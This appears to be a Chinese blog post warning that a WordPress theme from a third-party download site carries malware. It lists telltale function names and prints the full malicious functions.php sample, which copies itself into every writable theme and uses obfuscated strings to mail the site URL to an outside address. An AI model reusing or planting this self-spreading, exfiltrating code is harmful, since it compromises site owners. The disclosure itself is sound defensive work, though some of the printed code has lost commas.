WordPress更换主题提示:Fatal error: Cannot redeclare __popular_posts() (previously declared in

今天难得有兴趣搜集一波主题资源,在不经意间发现某138源码网有某主题资源,经测试发现有恶意代码

WordPress更换主题提示:Fatal error: Cannot redeclare __popular_posts() (previously declared in

本地检测

把主题拖进D盾_Web查杀杀查发现无异常代码,于是上传到测试站测试

测试主题

在启用此主题后发现报错,提示:Fatal error: Cannot redeclare __popular_posts() (previously declared in,根据报错提示我对重复声明__popular_posts()代码进行了删除,接下来在后台主题选项中发现主题有其他的报错.于是停止此主题的继续测试,正当我准备换其他主题时发现新主题同样报错,错误代码一模一样,重复声明代码如下:

  1. function __popular_posts($no_posts=6, $before="<li>"$after="</li>"$show_pass_post=false, $duration="") {  
  2.     global $wpdb;  
  3.     $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";  
  4.     $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";  
  5.     if(!$show_pass_post$request .= " AND post_password =\"\"";  
  6.     if($duration !="") {   
  7.         $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";  
  8.     }  
  9.     $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";  
  10.     $posts=$wpdb->get_results($request);  
  11.     $output="";  
  12.     if ($posts) {  
  13.         foreach ($posts as $post) {  
  14.             $post_title=stripslashes($post->post_title);  
  15.             $comment_count=$post->comment_count;  
  16.             $permalink=get_permalink($post->ID);  
  17.             $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;  
  18.         }  
  19.     } else {  
  20.         $output .= $before . "None found" . $after;  
  21.     }  
  22.     return  $output;  
  23. }         

于是乎我再次进行代码删除发现可行,然后我再次更换其他主题时同样的问题再次出现,此时我就怀疑刚才的主题文件里有恶意代码,在百度里搜寻一番,发现某博主在14年就已经中招过此陷阱

恶意代码检查

查找包含恶意代码主题文件中的funtions.php文件,有以下特征的函数需注意:

  1. function _checkactive_widgets  
  2.   
  3. function _get_allwidgets_cont  
  4.   
  5. function stripos  
  6.   
  7. function strripos  
  8.   
  9. function scandir  
  10.   
  11. add_action(“admin_head”, “_checkactive_widgets”);  
  12.   
  13. function _getprepare_widget  
  14.   
  15. add_action(“init”, “_getprepare_widget”);  
  16.   
  17. function __popular_posts  

包含以上代码不确定是否为恶意代码,需根据代码自行判断

恶意代码样本

  1. <?php   
  2. // include xiu theme functions file  
  3. include 'functions.wa.php';  
  4.   
  5.   
  6. // custom functions?>  
  7. <?php  
  8. function _check_active_widget(){  
  9.     $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";  
  10.     $output=strip_tags($output$allowed);  
  11.     $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));  
  12.     if (is_array($direst)){  
  13.         foreach ($direst as $item){  
  14.             if (is_writable($item)){  
  15.                 $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));  
  16.                 $cont=file_get_contents($item);  
  17.                 if (stripos($cont,$ftion) === false){  
  18.                     $sar=stripossubstr($cont,-20),"?".">") !== false ? "" : "?".">";  
  19.                     $output .= $before . "Not found" . $after;  
  20.                     if (stripossubstr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}  
  21.                     $output=rtrim($output"\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);                  
  22.                     $output .= ($showdot && $ellipsis) ? "..." : "";  
  23.                 }  
  24.             }  
  25.         }  
  26.     }  
  27.     return $output;  
  28. }  
  29. function _get_all_widgetcont($wids,$items=array()){  
  30.     $places=array_shift($wids);  
  31.     if(substr($places,-1) == "/"){  
  32.         $places=substr($places,0,-1);  
  33.     }  
  34.     if(!file_exists($places) || !is_dir($places)){  
  35.         return false;  
  36.     }elseif(is_readable($places)){  
  37.         $elems=scandir($places);  
  38.         foreach ($elems as $elem){  
  39.             if ($elem != "." && $elem != ".."){  
  40.                 if (is_dir($places . "/" . $elem)){  
  41.                     $wids[]=$places . "/" . $elem;  
  42.                 } elseif (is_file($places . "/" . $elem)&&   
  43.                     $elem == substr(__FILE__,-13)){  
  44.                     $items[]=$places . "/" . $elem;}  
  45.                 }  
  46.             }  
  47.     }else{  
  48.         return false;     
  49.     }  
  50.     if (sizeof($wids) > 0){  
  51.         return _get_all_widgetcont($wids,$items);  
  52.     } else {  
  53.         return $items;  
  54.     }  
  55. }  
  56. if(!function_exists("stripos")){   
  57.     function stripos(  $str$needle$offset = 0  ){   
  58.         return strpos(  strtolower$str ), strtolower$needle ), $offset  );   
  59.     }  
  60. }  
  61.   
  62. if(!function_exists("strripos")){   
  63.     function strripos(  $haystack$needle$offset = 0  ) {   
  64.         if(  !is_string$needle )  )$needle = chr(  intval$needle )  );   
  65.         if(  $offset < 0  ){   
  66.             $temp_cut = strrev(  substr$haystack, 0, abs($offset) )  );   
  67.         }   
  68.         else{   
  69.             $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );   
  70.         }   
  71.         if(   (  $found = stripos$temp_cutstrrev($needle) )  ) === FALSE   )return FALSE;   
  72.         $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen$needle )  )   );   
  73.         return $pos;   
  74.     }  
  75. }  
  76. if(!function_exists("scandir")){   
  77.     function scandir($dir,$listDirectories=false, $skipDots=true) {  
  78.         $dirArray = array();  
  79.         if ($handle = opendir($dir)) {  
  80.             while (false !== ($file = readdir($handle))) {  
  81.                 if (($file != "." && $file != "..") || $skipDots == true) {  
  82.                     if($listDirectories == false) { if(is_dir($file)) { continue; } }  
  83.                     array_push($dirArray,basename($file));  
  84.                 }  
  85.             }  
  86.             closedir($handle);  
  87.         }  
  88.         return $dirArray;  
  89.     }  
  90. }  
  91. add_action("admin_head""_check_active_widget");  
  92. function _prepared_widget(){  
  93.     if(!isset($length)) $length=120;  
  94.     if(!isset($method)) $method="cookie";  
  95.     if(!isset($html_tags)) $html_tags="<a>";  
  96.     if(!isset($filters_type)) $filters_type="none";  
  97.     if(!isset($s)) $s="";  
  98.     if(!isset($filter_h)) $filter_h=get_option("home");   
  99.     if(!isset($filter_p)) $filter_p="wp_";  
  100.     if(!isset($use_link)) $use_link=1;   
  101.     if(!isset($comments_type)) $comments_type="";   
  102. //  if(!isset($perpage)) $perpage=$_GET["cperpage"];  
  103.     if(!isset($comments_auth)) $comments_auth="";  
  104.     if(!isset($comment_is_approved)) $comment_is_approved="";   
  105.     if(!isset($authname)) $authname="auth";  
  106.     if(!isset($more_links_text)) $more_links_text="(more...)";  
  107.     if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");  
  108.     if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;  
  109.     if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";  
  110.     if(!isset($more_content)) $more_content="ma".$s."il";  
  111.     if(!isset($forces_more)) $forces_more=1;  
  112.     if(!isset($fakeit)) $fakeit=1;  
  113.     if(!isset($sql)) $sql="";  
  114.     if (!$widget_output) :  
  115.       
  116.     global $wpdb$post;  
  117.     $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#  
  118.     if (!emptyempty($post->post_password)) {   
  119.         if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {   
  120.             if(is_feed()) {   
  121.                 $output=__("There is no excerpt because this is a protected post.");  
  122.             } else {  
  123.                 $output=get_the_password_form();  
  124.             }  
  125.         }  
  126.     }  
  127.     if(!isset($fix_tag)) $fix_tag=1;  
  128.     if(!isset($filters_types)) $filters_types=$filter_h;   
  129.     if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;  
  130.     if(!isset($more_tags)) $more_tags="div";  
  131.     if(!isset($s_text)) $s_text=substr($sq1stripos($sq1"live"), 20);#  
  132.     if(!isset($mlink_title)) $mlink_title="Continue reading this entry";      
  133.     if(!isset($showdot)) $showdot=1;  
  134.       
  135.     $comments=$wpdb->get_results($sql);   
  136.     if($fakeit == 2) {   
  137.         $text=$post->post_content;  
  138.     } elseif($fakeit == 1) {   
  139.         $text=(emptyempty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;  
  140.     } else {   
  141.         $text=$post->post_excerpt;  
  142.     }  
  143.     $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstextarray($s_text$filter_h$filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#  
  144.     if($length < 0) {  
  145.         $output=$text;  
  146.     } else {  
  147.         if(!$no_more && strpos($text"<!--more-->")) {  
  148.             $text=explode("<!--more-->"$text, 2);  
  149.             $l=count($text[0]);  
  150.             $more_link=1;  
  151.             $comments=$wpdb->get_results($sql);  
  152.         } else {  
  153.             $text=explode(" "$text);  
  154.             if(count($text) > $length) {  
  155.                 $l=$length;  
  156.                 $ellipsis=1;  
  157.             } else {  
  158.                 $l=count($text);  
  159.                 $more_links_text="";  
  160.                 $ellipsis=0;  
  161.             }  
  162.         }  
  163.         for ($i=0; $i<$l$i++)  
  164.                 $output .= $text[$i] . " ";  
  165.     }  
  166.     update_option("_is_widget_active_", 1);  
  167.     if("all" != $html_tags) {  
  168.         $output=strip_tags($output$html_tags);  
  169.         return $output;  
  170.     }  
  171.     endif;  
  172.     $output=rtrim($output"\s\n\t\r\0\x0B");  
  173.     $output=($fix_tag) ? balanceTags($output, true) : $output;  
  174.     $output .= ($showdot && $ellipsis) ? "..." : "";  
  175.     $output=apply_filters($filters_type$output);  
  176.     switch($more_tags) {  
  177.         case("div") :  
  178.             $tag="div";  
  179.         break;  
  180.         case("span") :  
  181.             $tag="span";  
  182.         break;  
  183.         case("p") :  
  184.             $tag="p";  
  185.         break;  
  186.         default :  
  187.             $tag="span";  
  188.     }  
  189.   
  190.     if ($use_link ) {  
  191.         if($forces_more) {  
  192.             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";  
  193.         } else {  
  194.             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";  
  195.         }  
  196.     }  
  197.     return $output;  
  198. }  
  199.   
  200. add_action("init""_prepared_widget");  
  201.   
  202. function __popular_posts($no_posts=6, $before="<li>"$after="</li>"$show_pass_post=false, $duration="") {  
  203.     global $wpdb;  
  204.     $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";  
  205.     $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";  
  206.     if(!$show_pass_post$request .= " AND post_password =\"\"";  
  207.     if($duration !="") {   
  208.         $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";  
  209.     }  
  210.     $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";  
  211.     $posts=$wpdb->get_results($request);  
  212.     $output="";  
  213.     if ($posts) {  
  214.         foreach ($posts as $post) {  
  215.             $post_title=stripslashes($post->post_title);  
  216.             $comment_count=$post->comment_count;  
  217.             $permalink=get_permalink($post->ID);  
  218.             $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;  
  219.         }  
  220.     } else {  
  221.         $output .= $before . "None found" . $after;  
  222.     }  
  223.     return  $output;  
  224. }         
  225. ?>  

最后提示

在任何第三方网站下载主题插件等资源均有可能包含恶意代码,需自行本地测试或闲置主机空间网站上检查测试,出现此情况应该立即修改账号密码,SQL账号密码,确保网站安全.本站内容均搜集于互连网,不能保证100%不含恶意代码,望悉知

声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。
0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
搜索